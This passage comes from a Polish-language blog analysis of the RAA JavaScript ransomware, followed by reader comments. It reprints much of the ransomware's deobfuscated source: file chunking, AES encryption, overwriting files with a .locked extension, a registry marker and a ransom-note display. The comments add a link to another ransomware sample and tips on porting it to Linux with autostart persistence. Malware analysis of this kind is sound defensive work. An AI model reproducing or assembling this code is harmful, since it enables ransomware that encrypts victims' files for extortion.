        xjLCtcIO = xjLCtcIO + rand.charAt(vPdyagHuFMMj[EPtLPmand2]);
    } while (xjLCtcIO.length < 32);
    var gieJISwveNlD = [];
    gieJISwveNlD[0] = eqQu;
    gieJISwveNlD[1] = xjLCtcIO;
    return gieJISwveNlD;
}

zwraca dwuelementową tablicę, która zawiera dwa elementy: 32-elementową tablicę czterocyfrowych, losowych liczb oraz drugi element, którym jest wybrany losowo z VKw 32-znakowy ciąg znaków. Jako, że zawartość VKw pozostała dla mnie nieznana z powodu nie działającego serwera z którym łączył się RAA, użyłem innego, losowo wybranego ciągu znaków i uruchomiłem rStinsVp() podając ten ciąg jako argument zamiast VKw.

Przykładowy rezultat wykonania:

console.log(rStinsVp("c2378574f4fa4a4353d1ab7e2961fd88"));
[ [ '0981',
    '0829',
    '0272',
    '0715',
    '0045',
    '0193',
    '0881',
    1361,
    1517,
    '0957',
    '0546',
    '0621',
    '0932',
    1659,
    1102,
    1861,
    '0339',
    1688,
    '0941',
    '0756',
    1727,
    '0257',
    '0565',
    1963,
    '0912',
    '0333',
    '0269',
    1095,
    1191,
    1962,
    '0514',
    '0939' ],
  'cccccccccccccccccccccccccccccccc' ]

Następnym krokiem po inicjalizacji tych dwóch zmiennych, jest funkcja udpIHxN():

function udpIHxNm(IMhTname) {
    var SlSPWu = WScript.CreateObject("ADODB.Stream");
    SlSPWu.CharSet = '437';
    SlSPWu.Open();
    SlSPWu.LoadFromFile(IMhTname);
    var hXpHGpZ = [];
    hXpHGpZ[0] = [];
    hXpHGpZ[1] = [];
    var PRuJZyAvfeza = SlSPWu.Size;
    if (PRuJZyAvfeza > 6122 && PRuJZyAvfeza < 5000000) {
        var GinRqOjln = OQlYdejWlC(2000, 2040);
        hXpHGpZ[0][0] = SlSPWu.ReadText(GinRqOjln) + "RAA-SEP";
        var kWsAN = Math.floor(PRuJZyAvfeza / 2) - 3060;
        hXpHGpZ[1][0] = SlSPWu.ReadText(kWsAN) + "RAA-SEP";
        hXpHGpZ[0][1] = SlSPWu.ReadText(GinRqOjln) + "RAA-SEP";
        var iPZDBPG = PRuJZyAvfeza - (SlSPWu.Position + GinRqOjln);
        hXpHGpZ[1][1] = SlSPWu.ReadText(iPZDBPG) + "RAA-SEP";
        hXpHGpZ[0][2] = SlSPWu.ReadText(GinRqOjln) + "RAA-SEP";
        SlSPWu.Close;
        jMvqmKSQu(hXpHGpZ);
    } else if (PRuJZyAvfeza > 5000000 && PRuJZyAvfeza <= 500000000) {
        qqJ(IMhTname)
    } else if (PRuJZyAvfeza <= 6122) {
        hXpHGpZ[0][0] = SlSPWu.ReadText;
        SlSPWu.Close;
        jMvqmKSQu(hXpHGpZ);
    } else {
        hXpHGpZ = 0;
        SlSPWu.Close;
        jMvqmKSQu(hXpHGpZ);
    }
    return 0;
}
udpIHxNm(IMhTname);

W pierwszej kolejności tworzony jest obiekt ADODB.Stream wykorzystywany do manipulacji plikami w podobny sposób, w jaki odbywało się to już wcześniej w kodzie ransomware. Następnie, do obiektu wczytywana jest zawartość aktualnie „obrabianego” pliku (pamiętajmy, że cała operacja odbywa się w pętli – indywidualnie dla każdego przeznaczonego do zaszyfrowania pliku) oraz sprawdzany jest rozmiar pliku.

W zależności od jego wielkości, podejmowane są różne kroki:

  • jeśli rozmiar pliku zawiera się w przedziale od 6122 bajtów do 4,76 MB (dokładnie 4882 kB) – wówczas tworzona jest tablica hXpHGpZ, następnie w tablicy tej zapisane zostają fragmenty pliku podzielonego na losowej wielkości części. W dalszej kolejności, tablica z fragmentami pliku przesyłana jest  do funkcji jMvqmKSQu(),
  • jeśli plik jest większy niż 4,76 MB, ale mniejszy niż 476 MB – wywoływana jest funkcja qqJ() z plikiem jako argumentem,
  • jeśli rozmiar pliku jest mniejszy lub różny 6122 bajtom – jest on użyty bezpośrednio jako argument dla funkcji jMvqmKSQu().

Pliki o rozmiarze większym niż 476 MB, nie są brane pod uwagę w procesie szyfrowania.

Przyjrzyjmy się jeszcze, co jakie operacje wykonują funkcje jMvqmKSQu() oraz qqJ().

function jMvqmKSQu(hXpHGpZ) {
    if (hXpHGpZ[1].length != 0) {
        var DftonCbPCyQR = hXpHGpZ[0].join("");
        DftonCbPCyQR = ukBnxEOtjm(DftonCbPCyQR);
        DftonCbPCyQR = DftonCbPCyQR + "=END=OF=HEADER=";
        DftonCbPCyQR = DftonCbPCyQR + hXpHGpZ[1].join("") + "IDNUM=" + cVjZujcP + "KEY_LOGIC=" + HZtSmFNRdJM_data[0] + "IV_LOGIC=" + qPCIyff[0] + "LOGIC_ID=1";
        omaDplUyHou(DftonCbPCyQR);
    } else if (hXpHGpZ == 0) {
        var DftonCbPCyQR = 0;
        omaDplUyHou(DftonCbPCyQR);
    } else {
        var DftonCbPCyQR = hXpHGpZ[0][0];
        DftonCbPCyQR = ukBnxEOtjm(DftonCbPCyQR);
        DftonCbPCyQR = DftonCbPCyQR + "IDNUM=" + cVjZujcP + "KEY_LOGIC=" + HZtSmFNRdJM_data[0] 
+ "IV_LOGIC=" + qPCIyff[0] + "LOGIC_ID=2";
        omaDplUyHou(DftonCbPCyQR);
    }
    return DftonCbPCyQR;
}

W zależności od zawartości tablicy hXpHGpZ oraz tego, czy jest ona dwu- czy jednowymiarowa (to zależy, jakiej wielkości plik był przesłany do niej uprzednio jako argument), funkcja zapisuje zawartość pliku do zmiennej DftonCbPCyQR, dodając własne metadane. Następnie, tak przygotowany ciąg trafia już bezpośrednio do funkcji szyfrującej zawartość pliku algorytmem AES:

function ukBnxEOtjm(EQs) {
    var HZtSmFNRdJM = HZtSmFNRdJM_data[1];
    var gmCRXSMsLyM = qPCIyff[1];
    EQs = CryptoJS.AES.encrypt(EQs, HZtSmFNRdJM, {gmCRXSMsLyM: gmCRXSMsLyM});
    return EQs;
}

Zwrócona zaszyfrowana zawartość pliku zastępuje oryginalny plik, a do jego nazwy zostaje dodane rozszerzenie .locked (to zapobiega jego ponownemu zaszyfrowaniu, zapewnianemu poprzez mechanizm wyszukiwania plików przeznaczonych do operacji zaszyfrowania, opisanej wcześniej):

function omaDplUyHou(lsYZxzUm) {
    var IxC = new ActiveXObject('ADODB.Stream');
    IxC.Type = 2;
    IxC.Charset = "437";
    IxC.Open();
    if (lsYZxzUm != 0) {
        IxC.WriteText(lsYZxzUm);
        IxC.SaveToFile(IMhTname, 2);
        IxC.Close();
        var DmYbWSaT = new ActiveXObject("Scripting.FileSystemObject");
        DmYbWSaT.MoveFile(IMhTname, IMhTname += ".locked");
    } else {
        IxC.Close();
    }
    return 0;
}

Wykorzystana tu metoda obiektu ADODB.Stream, MoveFile jest opisana dokładniej na stronie MSDN.

Funkcja, która odpowiada za szyfrowanie większych plików (pomiędzy 4,76 a 476 MB) jest troszkę bardziej rozbudowana:

function qqJ(IMhTname) {
    var SlSPWu = WScript.CreateObject("ADODB.Stream");
    SlSPWu.CharSet = '437';
    SlSPWu.Open();
    SlSPWu.LoadFromFile(IMhTname);
    var FhDYKCTNZFu = WScript.CreateObject("ADODB.Stream");
    FhDYKCTNZFu.CharSet = '437';
    FhDYKCTNZFu.Open();
    var GinRqOjln = OQlYdejWlC(90000, 125000);
    var PRuJZyAvfeza = SlSPWu.Size;
    var VVe = SlSPWu.ReadText(GinRqOjln);
    var cBKyRXWGPWBs = ukBnxEOtjm(VVe);
    cBKyRXWGPWBs = String(cBKyRXWGPWBs);
    var rMkTeqZm = cBKyRXWGPWBs.length;
    SlSPWu.Position = PRuJZyAvfeza - GinRqOjln;
    var ECgBWYtoib = SlSPWu.ReadText(GinRqOjln);
    var AblANuF = ukBnxEOtjm(ECgBWYtoib);
    AblANuF = String(AblANuF);
    var QfYmGGcYOFB = AblANuF.length;
    var IJDZ = ",";
    SlSPWu.Position = PRuJZyAvfeza - GinRqOjln;
    SlSPWu.SetEOS;
    SlSPWu.WriteText(cBKyRXWGPWBs);
    SlSPWu.WriteText(AblANuF);
    SlSPWu.WriteText(rMkTeqZm);
    SlSPWu.WriteText(IJDZ);
    SlSPWu.WriteText(QfYmGGcYOFB);
    SlSPWu.WriteText(IJDZ);
    var ids = "IDNUM=" + cVjZujcP + "KEY_LOGIC=" + HZtSmFNRdJM_data[0] 
+ "IV_LOGIC=" + qPCIyff[0] + "LOGIC_ID=3";
    SlSPWu.WriteText(ids);
    SlSPWu.Position = GinRqOjln;
    SlSPWu.CopyTo(FhDYKCTNZFu);
    SlSPWu.Close;
    FhDYKCTNZFu.SaveToFile(IMhTname, 2);
    FhDYKCTNZFu.Close;
    var DmYbWSaT = new ActiveXObject("Scripting.FileSystemObject");
    DmYbWSaT.MoveFile(IMhTname, IMhTname += ".locked");
    return 0;
}

Najpierw, tworzone są dwa obiekty ADODB.Stream:

var SlSPWu = WScript.CreateObject("ADODB.Stream");
SlSPWu.CharSet = '437';
SlSPWu.Open();
SlSPWu.LoadFromFile(IMhTname);
var FhDYKCTNZFu = WScript.CreateObject("ADODB.Stream");
FhDYKCTNZFu.CharSet = '437';
FhDYKCTNZFu.Open();

Następnie, plik zostaje zaszyfrowany po podzieleniu go na fragmenty (każdy fragment zostaje zaszyfrowany osobno) oraz zapisaniu każdego fragmentu w osobnym ciągu znaków (oba obiekty operują na ciągach znaków JavaScript tak, jakby były to dane binarne):

var GinRqOjln = OQlYdejWlC(90000, 125000);
var PRuJZyAvfeza = SlSPWu.Size;
var VVe = SlSPWu.ReadText(GinRqOjln);
var cBKyRXWGPWBs = ukBnxEOtjm(VVe);
cBKyRXWGPWBs = String(cBKyRXWGPWBs);
var rMkTeqZm = cBKyRXWGPWBs.length;
SlSPWu.Position = PRuJZyAvfeza - GinRqOjln;
var ECgBWYtoib = SlSPWu.ReadText(GinRqOjln);
var AblANuF = ukBnxEOtjm(ECgBWYtoib);
AblANuF = String(AblANuF);
var QfYmGGcYOFB = AblANuF.length;
var IJDZ = ",";
SlSPWu.Position = PRuJZyAvfeza - GinRqOjln;
SlSPWu.SetEOS;

Wreszcie, zaszyfrowane fragmenty są zapisywane razem jako jeden plik, a do jego nazwy dodawane jest rozszerzenie .locked:

SlSPWu.WriteText(cBKyRXWGPWBs);
SlSPWu.WriteText(AblANuF);
SlSPWu.WriteText(rMkTeqZm);
SlSPWu.WriteText(IJDZ);
SlSPWu.WriteText(QfYmGGcYOFB);
SlSPWu.WriteText(IJDZ);
var ids = "IDNUM=" + cVjZujcP + "KEY_LOGIC=" + HZtSmFNRdJM_data[0] + "IV_LOGIC=" + qPCIyff[0] + 
"LOGIC_ID=3";
SlSPWu.WriteText(ids);
SlSPWu.Position = GinRqOjln;

Zakończenie

Gdy RAA zaszyfruje już wszystkie przeznaczone do tego pliki, w rejestrze Windows tworzony jest wpis (sprawdzany na samym początku), informujący o zakończeniu procesu:

var FYSAj = WScript.CreateObject("WScript.Shell");
FYSAj.RegWrite("HKCU\\RAA\\Raa-fnl\\", "beenFinished", "REG_SZ");

Ostatnim krokiem, jest wyświetlenie użytkownikowi komunikatu z kwotą do zapłaty za klucz deszyfrujący i danymi kontaktowymi:

var IvTV = "C:\\" + "!!!README!!!" + TBucypWw + ".rtf";
var xfejSVYO = new ActiveXObject("Scripting.FileSystemObject");
var Nnz = FYSAj.SpecialFolders("Desktop");
Nnz = Nnz += "\\";
xfejSVYO.CopyFile(IvTV, Nnz);
var rdm_fl = "wordpad.exe" + " " + IvTV;
FYSAj.Run(rdm_fl, 3);
return 0;

Podsumowanie

RAA jest dowodem na to, że JavaScript – język, którego przeznaczeniem miała być obsługa interakcji z użytkownikiem na stronie www – może być użyty dosłownie do wszystkiego. RAA to nie jedyny przykład, warto zapoznać się np. z analizą wpisów o innym ransomware – Locky, który używa napisanego w JavaScripcie downloadera binarnej części ransomware lub zawiera taką binarkę bezpośrednio w sobie:

„From Locky with love” autorstwa @hasherezade
„Return of Locky”
„Locky ransomware now embedded in JavaScript”

W obliczu rosnącej popularności JavaScript, będziemy świadkami coraz częstszych przypadków złośliwego oprogramowania podobnego do Locky, czy opisanego tutaj RAA. Obfuskacja kodu JavaScript pozwala na omijanie detekcji przez programy antywirusowe na wiele sposobów (proces deobfuskacji opisany w „Return of Locky” przedstawia jeden z wielu możliwych wariantów zaciemniania kodu JavaScript), a sam kod jest łatwy w napisaniu i utrzymaniu (np. nie wymaga kompilacji i jest go łatwo zaadaptować na potrzeby zupełnie innej platformy).

Rafał 'bl4de’ Janicki 

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Świetna analiza bl4de.
    Czy istnieje jakiś prosty sposób na to aby wykryć, że kod został zaciemniony?

    pzdr!

    Odpowiedz
  2. p

    Niżej link do rozsyłanego ostatnio Crypt0l0cker’a również napisanego w js, który trafił jakiś czas temu do mnie ;)
    http://pastebin.com/jFdyBjJ9

    Odpowiedz
    • Uwaga tylko żeby się nie zarazić…

      Odpowiedz
    • bl4de

      Dzieki za linka, rzuce na to okiem pozniej :)

      Odpowiedz
  3. Wojtek

    W opisie modyfikacji rejestru piszecie:
    „W dalszej części funkcji QCY różne od 0 powoduje utworzenie wpisu w rejestrze uruchamiającego RAA”,
    a nie powinno być równe zeru.
    Linia 27: if (AFtKLHIjDtkM < 2 && QCY == 0) …
    Tak mi się wydaje

    Odpowiedz
    • bl4de

      Tak, sluszna uwaga, dzieki!

      Odpowiedz
  4. zero one

    Java i Flash to za przeproszeniem – syf. Od początku miało to to służyć „odpowiednim” celom. Jak zawsze pod przykrywką wygody czy ładniejszego wyglądu. Tak uważam odkąd sięgnę pamięcią. Mało kto oczywiście się ze mną zgadza. :P
    Albo taki NET Framework – parszywy zamulacz OSów. ;D

    Odpowiedz
    • Hmm…tylko to Javascript, który z Javą ma tyle wspólnego co ham z hamsterem :)

      Odpowiedz
    • DaBomb

      Może kolega chciał właśnie pochwalić wybór autora tego kodu? :) Że Java be, ale JavaScript zajęliśmy :D

      Odpowiedz
  5. Krzysiek

    Jakie remedium? Wyłączyć javascript? Ewentualnie jakieś inne pomysły?

    Odpowiedz
  6. Bry

    Czy taki skrypt wymaga jakiejkolwiek interakcji ze strony użytkownika czy jest uruchamiany bezpośrednio po wejściu na stronę i omija blokady przeglądarki?

    Odpowiedz
    • bl4de

      Hej,

      Zarażenie się czymś takim przebiega podobnie, jak każdym innym malware – drive-by-download, kliknięcie w załącznik do maila itd.

      Ten kod nie jest przeznaczony do działania w przeglądarce i nie jest w niej wykonywany. Jest uruchamiany w systemie Windows przez mechanizm Windows Scripts Host i jego wbudowany silnik JavaScript (czyli generalnie możesz napisać program dla Windows w JavaScript i uruchomić go, jakby był natywnym, skompilowanym programem dla tego systemu).

      Odpowiedz
  7. Phx

    Nie jestem programista dlatego mam pare pytan.:

    1. skąd jest dostępny czysty kod programu, twórca sam go udostępnił ? czemu nie jest zaciemniony ? Z tego co wiem w przypadku plików exe nie jest tak łatwo.

    2. Czemu akurat Java Script ? Czy jest trudniej wykryć go przez AV ?

    3. Czy ten ransomware przez to ze jest napisany w javie przy odpowiedniej modyfikacji jego działania mógłby też działać na linuksie i macku ?

    Odpowiedz
    • Q

      Musiał byś się trochę namęczyć, żeby przepisać na nodejs, a tam nie ma obiektów windowsa

      Odpowiedz
    • M

      Odpowiem na Twoje trzecie pytanie. JavaScript i Java to całkowicie inne języki. Mają one inną składnię, uruchamianie, środowisko. Jedyne co mają wspólne to część nazwy.

      Odpowiedz
    • bl4de

      Hej,

      1. Kod takiego ransomware, czy każdego innego szkodliwego oprogramowania staje się dostępny do analizy, gdy np. osoba, która zidentyfikuje go jako szkodliwy prześle go do analizy osobie bądź firmie, kto się tym zajmuje. Są serwisy internetowe, które pozwalają też zbadać plik pod kątem tego, czy nie jest właśnie jakimś malware (np. malwr.com)

      Kod tego akurat konkretnego ransomware, nawet gdyby był zaciemniony, ostatecznie musiałby być dostępny w możliwej do odczytania postaci z bardzo prostej przyczyny: wszystkie silniki JavaScript operują na takim samym kodzie, który jest kompilowany i interpretowany podczas uruchomienia (polecam poczytać jak działa JIT (Just In Time compiler) JavaScript’u :).
      Technicznie nie ma więc możliwości sporządzić pliku w języku JavaScript w taki sposób, by był on niemożliwy do przeanalizowania zanim trafi do silnika JS przeglądarki, node.js, WSH czy dowolnego innego środowiska uruchomieniowego JS

      2. Czemu JavaScript – to pytanie należałoby zadać twórcy RAA :) Co do możliwości wykrycia go przez antywirusy – na to pytanie także nie znam odpowiedzi – analizowałem RAA jedynie pod kątem tego, jak używając tylko JavaScript można napisac w pełni funkcjonalny kod ransomware, który zadziała w systemie operacyjnym, takim jak Windows. Nie zagłębiałem się w ogóle w kwestie takie, jak proces zarażenia, wykrycia czy usunięcia go z systemu.

      3. Sam mechanizm szyfrowania plików (iteracja po drzewie katalogów i plików, zastąpienie każdego pliku jego zaszyfrowaną formą itd.) jest jak najbardziej możliwa np. w Node.js, przypuszczam, że w Linuksie, gdzie np. Gnome 3 Shell był (jest?) napisany w JavaScript też byłoby to jak najbardziej możliwe. Do tego wystarczy biblioteka taka, jak CryptoJS dołączona bezpośrednio w kodzie ransomware (jak w przypadku RAA) oraz metody umożliwiające odczyt i zapis plików (co posiada między innymi moduł fs – https://nodejs.org/dist/latest-v4.x/docs/api/fs.html)

      Głównym probelem pozostaje natomiast sam wektor ataku i zarażenie systemu. Problemem byłoby ominięcie bądź eskalacja uprawnień użytkownika, który uruchomił ransomware, gdyby RAA musiał „dodać” się gdzieś, by uruchamiać się przy restarcie systemu. Konstrukcja systemów *nix i ich system uprawnień znacząco komplikują tutaj sprawę.

      Ale technicznie rzecz biorąc, odpowiedź na Twoje pytanie brzmi: tak, jest możliwe, by po odpowiednich modyfikacjach RAA zadziałał na OSX lub Linuksie. Jedyne, co musiałbyś zrobić, to uruchomić go ręcznie i z prawami root’a, by mógł zmodyfikować (zaszyfrować) pliki, do których nie masz uprawnień.

      Odpowiedz
      • autostart

        @bl4de, po eskalacja do roota? Chodzi o szyfrowanie dokumentów a nie plików systemowych, więc wystarczy iterować po /home/user z prawami bieżącego usera, a autostart w .bashrc, dconf, ~/.config/autostart i pewnie wiele innych sposobów

        Odpowiedz

Odpowiedz na Phx